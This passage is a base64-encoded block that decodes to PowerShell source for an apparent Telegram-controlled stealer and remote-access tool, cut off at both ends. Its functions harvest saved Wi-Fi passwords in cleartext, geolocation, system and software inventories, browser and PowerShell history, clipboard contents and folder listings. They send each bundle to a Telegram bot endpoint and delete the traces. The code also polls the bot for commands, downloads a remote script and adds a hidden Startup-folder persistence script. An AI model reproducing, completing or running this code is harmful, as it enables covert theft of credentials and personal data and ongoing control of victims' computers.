Q29vcmRpbmF0ZVdhdGNoZXI7JEdlb2xvY2F0ZS5TdGFydCgpDQp3aGlsZSAoKCRHZW9sb2NhdGUuU3RhdHVzIC1uZSAnUmVhZHknKSAtYW5kICgkR2VvbG9jYXRlLlBlcm1pc3Npb24gLW5lICdEZW5pZWQnKSkge1N0YXJ0LVNsZWVwIC1NaWxsaXNlY29uZHMgMTAwfSAgDQokR2VvbG9jYXRlLlBvc2l0aW9uLkxvY2F0aW9uIHwgU2VsZWN0IExhdGl0dWRlLExvbmdpdHVkZQ0KJG91dHNzaWQ9IiI7JGE9MDskd3M9KG5ldHNoIHdsYW4gc2hvdyBwcm9maWxlcykgLXJlcGxhY2UgIi4qOlxzKyI7Zm9yZWFjaCgkcyBpbiAkd3Mpew0KaWYoJGEgLWd0IDEgLUFuZCAkcyAtTm90TWF0Y2ggIiBwb2xpY3kgIiAtQW5kICRzIC1uZSAiVXNlciBwcm9maWxlcyIgLUFuZCAkcyAtTm90TWF0Y2ggIi0tLS0tIiAtQW5kICRzIC1Ob3RNYXRjaCAiPE5vbmU+IiAtQW5kICRzLmxlbmd0aCAtZ3QgNSl7JHNzaWQ9JHMuVHJpbSgpO2lmKCRzIC1NYXRjaCAiOiIpeyRzc2lkPSRzLlNwbGl0KCI6IilbMV0uVHJpbSgpfQ0KJHB3PShuZXRzaCB3bGFuIHNob3cgcHJvZmlsZXMgbmFtZT0kc3NpZCBrZXk9Y2xlYXIpOyRwYXNzPSJOb25lIjtmb3JlYWNoKCRwIGluICRwdyl7aWYoJHAgLU1hdGNoICJLZXkgQ29udGVudCIpeyRwYXNzPSRwLlNwbGl0KCI6IilbMV0uVHJpbSgpOyRvdXRzc2lkKz0iU1NJRDogJHNzaWQgOiBQYXNzd29yZDogJHBhc3NgbiJ9fX0kYSsrO30NCiRvdXRwYXRoID0gIiRlbnY6dGVtcFxTeXN0ZW1JbmZvLnR4dCINCiJVU0VSIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJDQoiRnVsbCBOYW1lICAgICAgICAgIDogJGZ1bGxOYW1lIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkVtYWlsIEFkZHJlc3MgICAgICA6ICRlbWFpbCIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJMb2NhdGlvbiAgICAgICAgICAgOiAkR2VvbG9jYXRlIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkNvbXB1dGVyIE5hbWUgICAgICA6ICRlbnY6Q09NUFVURVJOQU1FIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkxhbmd1YWdlICAgICAgICAgICA6ICRzeXN0ZW1MYW5ndWFnZSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJLZXlib2FyZCBMYXlvdXQgICAgOiAka2V5Ym9hcmRMYXlvdXRJRCIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJORVRXT1JLIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQdWJsaWMgSVAgICAgICAgICAgOiAkY29tcHV0ZXJQdWJJUCIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJTYXZlZCBOZXR3b3JrcyAgICAgOiAkb3V0c3NpZCIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJMb2NhbCBJUCAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJGNvbXB1dGVySVB8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQWRhcHRlcnMgICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRuZXR3b3JrfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KImBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkhBUkRXQVJFIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJjb21wdXRlciAgICAgICAgICAgOiAkY29tcHV0ZXJTeXN0ZW0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQklPUyBJbmZvICAgICAgICAgIDogJGNvbXB1dGVyQklPUyIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJSQU0gSW5mbyAgICAgICAgICAgOiAkY29tcHV0ZXJSYW1DYXBhY2l0eSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkY29tcHV0ZXJSYW18IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiT1MgSW5mbyAgICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRjb21wdXRlck9zfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkNQVSBJbmZvICAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkY29tcHV0ZXJDcHV8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiR3JhcGhpY3MgSW5mbyAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCR2aWRlb2NhcmR8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiSEREIEluZm8gICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRIZGRzfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIlVTQiBJbmZvICAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkQ09NRGV2aWNlc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcU3lzdGVtSW5mby50eHQiDQpjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiRGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQpSZW1vdmUtSXRlbSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQp9DQoNCg0KRnVuY3Rpb24gU29mdHdhcmUtSW5mb3sNCiRwcm9jZXNzPUdldC1XbWlPYmplY3Qgd2luMzJfcHJvY2VzcyB8IHNlbGVjdCBIYW5kbGUsIFByb2Nlc3NOYW1lLCBFeGVjdXRhYmxlUGF0aCwgQ29tbWFuZExpbmUNCiRzZXJ2aWNlPUdldC1DaW1JbnN0YW5jZSAtQ2xhc3NOYW1lIFdpbjMyX1NlcnZpY2UgfCBzZWxlY3QgU3RhdGUsTmFtZSxTdGFydE5hbWUsUGF0aE5hbWUgfCBXaGVyZS1PYmplY3QgeyRfLlN0YXRlIC1saWtlICdSdW5uaW5nJ30NCiRzb2Z0d2FyZT1HZXQtSXRlbVByb3BlcnR5IEhLTE06XFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFVuaW5zdGFsbFwqIHwgd2hlcmUgeyAkXy5EaXNwbGF5TmFtZSAtbm90bGlrZSAkbnVsbCB9IHwgIFNlbGVjdC1PYmplY3QgRGlzcGxheU5hbWUsIERpc3BsYXlWZXJzaW9uLCBQdWJsaXNoZXIsIEluc3RhbGxEYXRlIHwgU29ydC1PYmplY3QgRGlzcGxheU5hbWUgfCBGb3JtYXQtVGFibGUgLUF1dG9TaXplDQokZHJpdmVycz1HZXQtV21pT2JqZWN0IFdpbjMyX1BuUFNpZ25lZERyaXZlcnwgd2hlcmUgeyAkXy5EZXZpY2VOYW1lIC1ub3RsaWtlICRudWxsIH0gfCBzZWxlY3QgRGV2aWNlTmFtZSwgRnJpZW5kbHlOYW1lLCBEcml2ZXJQcm92aWRlck5hbWUsIERyaXZlclZlcnNpb24NCiRvdXRwYXRoID0gIiRlbnY6dGVtcFxTb2Z0d2FyZUluZm8udHh0Ig0KIlNPRlRXQVJFIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJJbnN0YWxsZWQgU29mdHdhcmUgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHNvZnR3YXJlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIlByb2Nlc3NlcyAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkcHJvY2Vzc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJTZXJ2aWNlcyAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHNlcnZpY2V8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiRHJpdmVycyAgICAgICAgICAgIDogJGRyaXZlcnMiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQokRmlsZVBhdGggPSAiJGVudjp0ZW1wXFNvZnR3YXJlSW5mby50eHQiDQpjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiRGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQpSZW1vdmUtSXRlbSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQp9DQoNCg0KRnVuY3Rpb24gSGlzdG9yeS1JbmZvew0KJFJlZ2V4ID0gJyhodHRwfGh0dHBzKTovLyhbXHctXStcLikrW1x3LV0rKC9bXHctIC4vPyUmPV0qKSo/JzskUGF0aCA9ICIkRW52OlVTRVJQUk9GSUxFXEFwcERhdGFcTG9jYWxcR29vZ2xlXENocm9tZVxVc2VyIERhdGFcRGVmYXVsdFxIaXN0b3J5Ig0KJFZhbHVlID0gR2V0LUNvbnRlbnQgLVBhdGggJFBhdGggfCBTZWxlY3QtU3RyaW5nIC1BbGxNYXRjaGVzICRyZWdleCB8JSB7KCRfLk1hdGNoZXMpLlZhbHVlfSB8U29ydCAtVW5pcXVlDQokVmFsdWUgfCBGb3JFYWNoLU9iamVjdCB7JEtleSA9ICRfO2lmICgkS2V5IC1tYXRjaCAkU2VhcmNoKXtOZXctT2JqZWN0IC1UeXBlTmFtZSBQU09iamVjdCAtUHJvcGVydHkgQHtVc2VyID0gJGVudjpVc2VyTmFtZTtCcm93c2VyID0gJ2Nocm9tZSc7RGF0YVR5cGUgPSAnaGlzdG9yeSc7RGF0YSA9ICRffX19DQokUmVnZXgyID0gJyhodHRwfGh0dHBzKTovLyhbXHctXStcLikrW1x3LV0rKC9bXHctIC4vPyUmPV0qKSo/JzskUGF0aGVkID0gIiRFbnY6VVNFUlBST0ZJTEVcQXBwRGF0YVxMb2NhbFxNaWNyb3NvZnQvRWRnZS9Vc2VyIERhdGEvRGVmYXVsdC9IaXN0b3J5Ig0KJFZhbHVlMiA9IEdldC1Db250ZW50IC1QYXRoICRQYXRoZWQgfCBTZWxlY3QtU3RyaW5nIC1BbGxNYXRjaGVzICRyZWdleDIgfCUgeygkXy5NYXRjaGVzKS5WYWx1ZX0gfFNvcnQgLVVuaXF1ZQ0KJFZhbHVlMiB8IEZvckVhY2gtT2JqZWN0IHskS2V5ID0gJF87aWYgKCRLZXkgLW1hdGNoICRTZWFyY2gpe05ldy1PYmplY3QgLVR5cGVOYW1lIFBTT2JqZWN0IC1Qcm9wZXJ0eSBAe1VzZXIgPSAkZW52OlVzZXJOYW1lO0Jyb3dzZXIgPSAnY2hyb21lJztEYXRhVHlwZSA9ICdoaXN0b3J5JztEYXRhID0gJF99fX0NCiRwc2hpc3QgPSAiJGVudjpVU0VSUFJPRklMRVxBcHBEYXRhXFJvYW1pbmdcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxQU1JlYWRMaW5lXENvbnNvbGVIb3N0X2hpc3RvcnkudHh0IjskcHNoaXN0b3J5ID0gR2V0LUNvbnRlbnQgJHBzaGlzdCAtcmF3DQokb3V0cGF0aCA9ICIkZW52OnRlbXBcSGlzdG9yeS50eHQiDQoiSElTVE9SWSBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQ2xpcGJvYXJkICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKEdldC1DbGlwYm9hcmQgfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkb3V0cGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkJyb3dzZXIgSGlzdG9yeSAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkVmFsdWV8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJFZhbHVlMnwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQb3dlcnNoZWxsIEhpc3RvcnkgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRvdXRwYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHBzaGlzdG9yeXwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG91dHBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcSGlzdG9yeS50eHQiDQpjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiRGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQpSZW1vdmUtSXRlbSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQp9DQoNCkZ1bmN0aW9uIFNob3dCdXR0b25zew0KJG1lc3NhZ2VoZWFkID0gIlByZXNzIGEgQnV0dG9uIHRvIENvbnRpbnVlLi4uIg0KJGlubGluZUtleWJvYXJkSnNvbiA9ICd7ImlubGluZV9rZXlib2FyZCI6W1t7InRleHQiOiAiRW50ZXIgQ29tbWFuZHMiLCJjYWxsYmFja19kYXRhIjogImJ1dHRvbl9jbGlja2VkIn0seyJ0ZXh0IjogIk9wdGlvbnMiLCJjYWxsYmFja19kYXRhIjogImJ1dHRvbjJfY2xpY2tlZCJ9XV19Jw0KJHBhcmFtZXJzID0gQHsNCiAgICBjaGF0X2lkID0gJGNoYXRJZA0KICAgIHRleHQgPSAkbWVzc2FnZWhlYWQNCiAgICByZXBseV9tYXJrdXAgPSAkaW5saW5lS2V5Ym9hcmRKc29uDQp9DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgKCRwYXJhbWVycyB8IENvbnZlcnRUby1Kc29uIC1EZXB0aCAxMCkNCiRraWxsaW50ID0gMA0KJG9mZnNldCA9IDANCndoaWxlICgka2lsbGludCAtZXEgMCkgew0KICAgICR1cGRhdGVzID0gSW52b2tlLVJlc3RNZXRob2QgLVVyaSAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9nZXRVcGRhdGVzP29mZnNldD0kb2Zmc2V0IiAtTWV0aG9kIEdldA0KICAgIGZvcmVhY2ggKCR1cGRhdGUgaW4gJHVwZGF0ZXMucmVzdWx0KSB7DQogICAgICAgICRvZmZzZXQgPSAkdXBkYXRlLnVwZGF0ZV9pZCArIDENCiAgICAgICAgU2xlZXAgMQ0KICAgICAgICBpZiAoJHVwZGF0ZS5jYWxsYmFja19xdWVyeS5kYXRhIC1lcSAiYnV0dG9uX2NsaWNrZWQiKSB7DQogICAgICAgICAgICAka2lsbGludCA9IDENCiAgICAgICAgfQ0KICAgICAgICBpZiAoJHVwZGF0ZS5jYWxsYmFja19xdWVyeS5kYXRhIC1lcSAiYnV0dG9uMl9jbGlja2VkIikgew0KICAgICAgICAgICAgJGtpbGxpbnQgPSAxDQogICAgICAgICAgICBPcHRpb25zDQogICAgICAgIH0NCiAgICB9DQogICAgU2xlZXAgMQ0KfQ0KJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICR0aWNrIFNlc3Npb24gU3RhcnRlZCINCiRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zDQp9DQoNCkZ1bmN0aW9uIEZvbGRlci1UcmVlew0KdHJlZSAkZW52OlVTRVJQUk9GSUxFL0Rlc2t0b3AgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvRGVza3RvcC50eHQNCnRyZWUgJGVudjpVU0VSUFJPRklMRS9Eb2N1bWVudHMgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvRG9jdW1lbnRzLnR4dA0KdHJlZSAkZW52OlVTRVJQUk9GSUxFL0Rvd25sb2FkcyAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9Eb3dubG9hZHMudHh0DQp0cmVlICRlbnY6QVBQREFUQSAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9BcHBkYXRhLnR4dA0KdHJlZSAkZW52OlBST0dSQU1GSUxFUyAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9Qcm9ncmFtRmlsZXMudHh0DQokemlwRmlsZVBhdGggPSIkZW52OnRlbXAvVHJlZXNPZktub3dsZWRnZS56aXAiDQpDb21wcmVzcy1BcmNoaXZlIC1QYXRoICRlbnY6VEVNUFxEZXNrdG9wLnR4dCwgJGVudjpURU1QXERvY3VtZW50cy50eHQsICRlbnY6VEVNUFxEb3dubG9hZHMudHh0LCAkZW52OlRFTVBcQXBwZGF0YS50eHQsICRlbnY6VEVNUFxQcm9ncmFtRmlsZXMudHh0IC1EZXN0aW5hdGlvblBhdGggJHppcEZpbGVQYXRoDQpzbGVlcCAxDQpjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiR6aXBGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQpybSAtUGF0aCAkemlwRmlsZVBhdGggLUZvcmNlDQpXcml0ZS1PdXRwdXQgIkRvbmUuIg0KfQ0KDQpGdW5jdGlvbiBBZGQtUGVyc2lzdGFuY2V7DQokbmV3U2NyaXB0UGF0aCA9ICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxjb3B5LnBzMSINCiRzY3JpcHRDb250ZW50IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRuZXdTY3JpcHRQYXRoIC1mb3JjZQ0Kc2xlZXAgMQ0KaWYgKCRuZXdTY3JpcHRQYXRoLkxlbmd0aCAtbHQgMTAwKXsNCiAgICAiYCR0ZyA9IGAiJHRnYCIiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRuZXdTY3JpcHRQYXRoIC1Gb3JjZQ0KICAgIGlgd3IgLVVyaSAiJHBhcmVudCIgLU91dEZpbGUgIiRlbnY6dGVtcC90ZW1wLnBzMSINCiAgICBzbGVlcCAxDQogICAgR2V0LUNvbnRlbnQgLVBhdGggIiRlbnY6dGVtcC90ZW1wLnBzMSIgfCBPdXQtRmlsZSAkbmV3U2NyaXB0UGF0aCAtQXBwZW5kDQogICAgfQ0KJHRvYmF0ID0gQCcNClNldCBvYmpTaGVsbCA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQpvYmpTaGVsbC5SdW4gInBvd2Vyc2hlbGwuZXhlIC1Ob25JIC1Ob1AgLUV4ZWMgQnlwYXNzIC1XIEhpZGRlbiAtRmlsZSAiIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIiIiLCAwLCBUcnVlDQonQA0KJHB0aCA9ICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXHNlcnZpY2UudmJzIg0KJHRvYmF0IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRwdGggLUZvcmNlDQpXcml0ZS1PdXRwdXQgIlBlcnNpc3RhbmNlIEFkZGVkLiINCnJtIC1wYXRoICIkZW52OlRFTVBcdGVtcC5wczEiIC1Gb3JjZQ0KfQ0KDQpGdW5jdGlvbiBSZW1vdmUtUGVyc2lzdGFuY2V7DQpybSAtUGF0aCAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxzZXJ2aWNlLnZicyINCnJtIC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxjb3B5LnBzMSINCldyaXRlLU91dHB1dCAiVW5pbnN0YWxsZWQuIg0KfQ0KDQpGdW5jdGlvbiBQYXVzZS1TZXNzaW9uew0KJGNvbnRlbnRzID0gIiRlbnY6Q09NUFVURVJOQU1FICRwYXVzZSBQYXVzaW5nIFNlc3Npb24uLiINCiRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zDQokc2NyaXB0OkFjY2VwdGVkU2Vzc2lvbj0iIg0KfQ0KDQpGdW5jdGlvbiBJcy1BZG1pbnsNCklmICghKFtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c1ByaW5jaXBhbF1bU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKSkuSXNJblJvbGUoW1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzQnVpbHRJblJvbGVdJ0FkbWluaXN0cmF0b3InKSkgew0KICAgICRjb